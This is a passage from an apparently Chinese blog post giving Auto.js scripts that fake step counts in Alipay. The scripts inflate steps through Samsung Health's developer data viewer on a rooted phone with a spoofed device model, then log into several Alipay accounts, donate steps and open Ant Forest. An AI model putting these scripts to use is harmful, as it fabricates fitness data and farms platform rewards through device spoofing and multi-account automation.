 * 利用三星健康 + 三星健康管理实现支付宝刷步数
 * 环境搭建（Root手机）：
 * 1、下载刷步数三件套（https://lingsiki.lanzoui.com/b0ejfe25a）。
 * 2、edxp激活应用变量模块，并且设置三星健康、支付宝和三星健康管理模拟机型为三星型号手机。
 * 3、进入三星健康设置-关于三星健康点击版本号十次开启开发者模式-然后进入数据权限开启支付宝和三星健康管理的所有权限。
 * 4、进入支付宝的支付宝运动-右上角三点进入设置，开启记录运动数据。
 * 5、保持三星健康在后台，打开三星健康管理增加步数，进入三星健康等一会儿即可同步步数，最后关闭重启支付宝，进入运动查看同步情况
 * 6、若失败可能是机型伪装的问题，也有可能是第一天刷步数可能延迟会有点大，第二天以后一般都是秒同步的
 * @param {步数=count * 12000} count 
 */

function steps(count) {
    launchApp(&apos;三星健康&apos;);
    sleep(1000);
    sleep(1000);
    app.launch(&quot;com.samsung.android.app.health.dataviewer&quot;);
    idContains(&quot;floatingActionButton&quot;).waitFor()
    sleep(1000)
    sleep(1000)
    for (let index = 0; index &amp;lt; count; index++) {
        idContains(&quot;floatingActionButton&quot;).findOne().click()
        sleep(500)
        click(800, 1750)
        sleep(500)
    }
    launchApp(&apos;三星健康&apos;);
    text(&apos;主页&apos;).waitFor();
    var obj = idContains(&apos;goal&apos;).findOne()
    clickCenter(obj);
    sleep(5000)
    while (1){
        step = idContains(&apos;current_steps&apos;).findOne().text()
        if (step != &apos;0&apos;){
            console.log(&quot;当前刷步数为：&quot; + step)
            return step;
        }
    }

}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3、支付宝登录&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;/**
 * 支付宝登录函数
 * @param {账号} accont 
 * @param {密码} key 
 */
function login(accont, key) {
    // 进入支付宝密码登录界面
    app.startActivity(app.intent({
        action: &quot;VIEW&quot;,
        data: &quot;alipayqr://platformapi/startapp?appId=20000008&quot;,
    }));
    textMatches(&quot;换个账号登录&quot;).findOne(5000)
    click(&quot;换个账号登录&quot;)
    sleep(400)
    setText(0, accont);
    textMatches(&quot;下一步&quot;).findOne(5000)
    click(&quot;下一步&quot;)
    textContains(&quot;换个方式登录&quot;).waitFor()
    var obj = textMatches(/短信验证码登录|指纹登录|换个方式登录/).findOne().text()
    if (obj == &quot;短信验证码登录&quot; || obj == &quot;指纹登录&quot;) {
        sleep(500)
        textMatches(/换个验证方式|换个方式登录/).findOne()
        clickCenter(text(&quot;换个方式登录&quot;).findOne(2000))
        clickCenter(text(&quot;换个验证方式&quot;).findOne(2000))
        text(&quot;密码登录&quot;).findOne()
        sleep(400)
        while (!click(&quot;密码登录&quot;)) { }
        sleep(200)
        setText(0, accont);
        sleep(200);
        setText(1, key);
        sleep(200)
        idContains(&quot;loginButton&quot;).findOne().click()
        console.log(accont, &quot;登录成功&quot;)
    } else {
        sleep(400)
        setText(1, key);
        sleep(400)
        idContains(&quot;loginButton&quot;).findOne().click()
        console.log(accont, &quot;登录成功&quot;)
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;4、步数同步&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;/**
 * 进入支付宝运动步数同步以及捐步
 */
function go_sports() {
    sleep(2000)
    app.startActivity({
        data: &quot;alipayqr://platformapi/startapp?saId=20000869&quot;
    })
    textContains(&quot;走路线&quot;).waitFor();
    swipe(device.width / 9 * 8, device.height / 3, device.width / 9 * 8, device.height / 3 * 2, 500)
    sleep(5000)
    var obj1 = text(&apos;去捐步&apos;).findOne(1000)
    if (obj1 != null){
        clickCenter(text(&apos;去捐步&apos;).findOne())
        sleep(3000)
        text(&apos;立即捐步&apos;).findOne()
        sleep(200)
        while (!click(&quot;立即捐步&quot;)) {}
        console.log(&apos;捐步成功&apos;)
    }else{
        console.log(&apos;已经捐完步数了&apos;)
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;5、进入蚂蚁森林&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;/**
 * 进入蚂蚁森林
 */
function enterForest(){
    sleep(2000)
    app.startActivity({
        data: &quot;alipayqr://platformapi/startapp?saId=60000002&quot;
    })
    sleep(8000)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;三、完整代码&lt;/h3&gt;
&lt;p&gt;下载链接：&lt;a href=&quot;https://github.com/ReaJason/AutoJsScripts/blob/master/%E6%94%AF%E4%BB%98%E5%AE%9D%E5%A4%9A%E8%B4%A6%E5%8F%B7%E5%88%87%E6%8D%A2%E6%AD%A5%E6%95%B0%E5%90%8C%E6%AD%A5%E8%84%9A%E6%9C%AC.js&quot;&gt;GitHub地址链接&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;四、运行效果&lt;/h3&gt;
&lt;p&gt;&amp;lt;iframe height=&quot;400&quot; width=&quot;500&quot; src=&quot;//player.bilibili.com/player.html?aid=670137563&amp;amp;bvid=BV17a4y1s7nP&amp;amp;cid=253887490&amp;amp;page=1&amp;amp;autoplay=0&quot; scrolling=&quot;no&quot; border=&quot;0&quot; frameborder=&quot;no&quot; framespacing=&quot;0&quot; allowfullscreen=&quot;true&quot; /&amp;gt;&lt;/p&gt;
&lt;h3&gt;五、注意事项&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;安装autojs之后，点击右小角新建文件，将完整代码粘贴进去，开启无障碍模式即可运行&lt;/li&gt;
&lt;li&gt;使用时修改小号账号和密码，以及大号账号和密码即可&lt;/li&gt;
&lt;li&gt;每一部手机的脚本运行效果可能会不一样，因为软件的局限性&lt;/li&gt;
&lt;li&gt;可以根据autojs的文档自己编写脚本 —&amp;gt; &lt;a href=&quot;https://hyb1996.github.io/AutoJs-Docs/#/&quot;&gt;AutoJs-Docs&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item></channel></rss>